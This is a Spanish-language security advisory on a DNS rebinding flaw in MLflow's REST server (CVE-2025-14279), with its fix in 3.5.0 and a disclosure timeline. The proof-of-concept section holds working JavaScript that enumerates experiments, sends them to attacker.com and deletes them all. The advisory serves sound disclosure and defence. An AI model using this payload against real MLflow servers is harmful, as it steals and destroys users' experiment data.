Autor: Evan Harris
Riesgo: Alto (CVSS 8.1, CVE-2025-14279)
Componente afectado: Servidor REST de MLflow (mlflow/mlflow), versiones hasta la 3.4.0 inclusive

Resumen

El servidor REST de MLflow no validaba la cabecera Origin ni la cabecera Host en las peticiones entrantes, lo que lo dejaba expuesto a DNS rebinding. Una víctima que ejecuta mlflow server de forma local y luego visita un sitio web malicioso puede ver cómo su navegador se convierte en un proxy que alcanza la interfaz de loopback, saltándose la política del mismo origen (Same-Origin Policy). Al no haber autenticación en la API REST, el atacante obtiene acceso completo de lectura y escritura: puede enumerar experimentos, exfiltrar los datos a un host externo y eliminar experimentos por completo. El problema recibió el identificador CVE-2025-14279 (CVSS 8.1, Alto) y se corrigió en MLflow 3.5.0, que añade validación de la cabecera Host y bloqueo de las peticiones de origen cruzado. Los usuarios deben actualizar a la versión 3.5.0 o posterior.

Otras herramientas tratadas en este sitio fallan de la misma manera: Vulnerabilidad de DNS rebinding en el transporte SSE del Vet MCP Server y El Neo4j MCP Cypher Server es vulnerable a la toma de control de la base de datos mediante DNS rebinding. Un problema distinto en MLflow, divulgado el mismo día, se trata en Ejecución remota de código mediante deserialización de scorers de GenAI en MLflow.

Contexto

El servidor de seguimiento de MLflow expone una API REST (habitualmente en http://localhost:5000) que la interfaz web y las bibliotecas cliente utilizan para crear, buscar, actualizar y eliminar experimentos y ejecuciones. De forma predeterminada, el servidor funciona sin autenticación, dando por supuesto que enlazarlo a localhost lo mantiene privado.

Esa suposición se rompe con el DNS rebinding. La política del mismo origen del navegador debería impedir que una página servida desde attacker.com lea las respuestas de localhost:5000, pero el rebinding la sortea cambiando a qué se resuelve un nombre de host después de que la página se haya cargado. Dado que el servidor de MLflow aceptaba las peticiones sin comprobar su procedencia, cualquier sitio web que visitara la víctima podía manejar la API local.

Panorama general

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Escenario de ataque

  1. La víctima clona MLflow y ejecuta el servidor de forma local con la configuración predeterminada (mlflow server), generando algunos experimentos por el camino.
  2. El atacante monta un laboratorio de DNS rebinding, por ejemplo Singularity of Origin de NCC Group, y coloca la carga útil que se muestra a continuación en el directorio de payloads del framework.
  3. La víctima visita el sitio web del atacante y permanece en la página el tiempo suficiente (menos de un minuto) para que se produzca el rebinding.
  4. El servidor DNS del atacante resuelve primero el nombre de host a su propia IP para que la carga útil se cargue, y luego responde a las consultas posteriores con 127.0.0.1. El navegador reutiliza el nombre almacenado en caché, de modo que las llamadas fetch de la página pivotan de forma silenciosa hacia localhost:5000 conservando el origen original.
  5. Como el servidor de MLflow no realiza ninguna validación de Origin ni de Host, las peticiones tienen éxito. El atacante enumera los experimentos, envía los datos a attacker.com y elimina los experimentos.

Prueba de concepto

La carga útil que se muestra a continuación se registra en un framework de DNS rebinding. Identifica el objetivo como un servidor MLflow, enumera los experimentos a través de la API REST sin autenticación, exfiltra los resultados a un host controlado por el atacante y luego elimina cada experimento. La prueba de concepto original se ha condensado aquí a sus pasos funcionales.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Impacto

  • Exfiltración de datos: los metadatos de los experimentos se leen mediante experiments/search y se envían a un host controlado por el atacante.
  • Destrucción de datos: los experimentos se eliminan mediante experiments/delete.
  • Manipulación de datos: el mismo acceso de escritura sin autenticación permite operaciones de actualización sobre los experimentos.
  • No se requieren credenciales: el ataque funciona contra una implementación predeterminada de mlflow server y solo necesita que la víctima visite una página maliciosa mientras el servidor está en ejecución.

Respuesta de MLflow

Después de que revelásemos el problema a través del proceso de divulgación coordinada de MLflow, los mantenedores lo abordaron en la pull request #17910.

La corrección introduce una capa de middleware de seguridad para el servidor que:

  • Valida la cabecera Host frente a una lista de permitidos (localhost y rangos de IP privadas de forma predeterminada) para bloquear el DNS rebinding.
  • Bloquea las peticiones de origen cruzado que modifican el estado (POST, PUT, DELETE, PATCH) procedentes de orígenes distintos de localhost.
  • Añade cabeceras de respuesta defensivas (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Para las implementaciones que legítimamente necesitan un acceso más amplio, hay disponible nueva configuración, incluidas --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) y --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Las protecciones se incorporaron en MLflow 3.5.0, y al problema se le asignó posteriormente CVE-2025-14279 (CVSS 8.1, Alto; CWE-346, Origin Validation Error).

Recomendaciones

Para usuarios finales

  • Actualice a MLflow 3.5.0 o posterior.
  • Mantenga la configuración predeterminada de --allowed-hosts y --cors-allowed-origins salvo que tenga una razón específica para ampliarla, y no desactive nunca el middleware de seguridad en un servidor expuesto.
  • No enlace el servidor de MLflow a una red pública o no confiable, y coloque una autenticación o un proxy inverso delante de él si debe ser accesible más allá de localhost.
  • Trate un servidor enlazado localmente como accesible desde el navegador: cierre o aísle las instancias locales de MLflow cuando navegue por sitios no confiables.

Cronología

Fecha Evento
22 de septiembre de 2025 Vulnerabilidad comunicada a los mantenedores de MLflow mediante divulgación coordinada (issue #17877)
6 de octubre de 2025 MLflow integra la corrección (PR #17910), publicada en la v3.5.0
12 de enero de 2026 CVE-2025-14279 publicada (CVSS 8.1, Alto)
8 de junio de 2026 Divulgación pública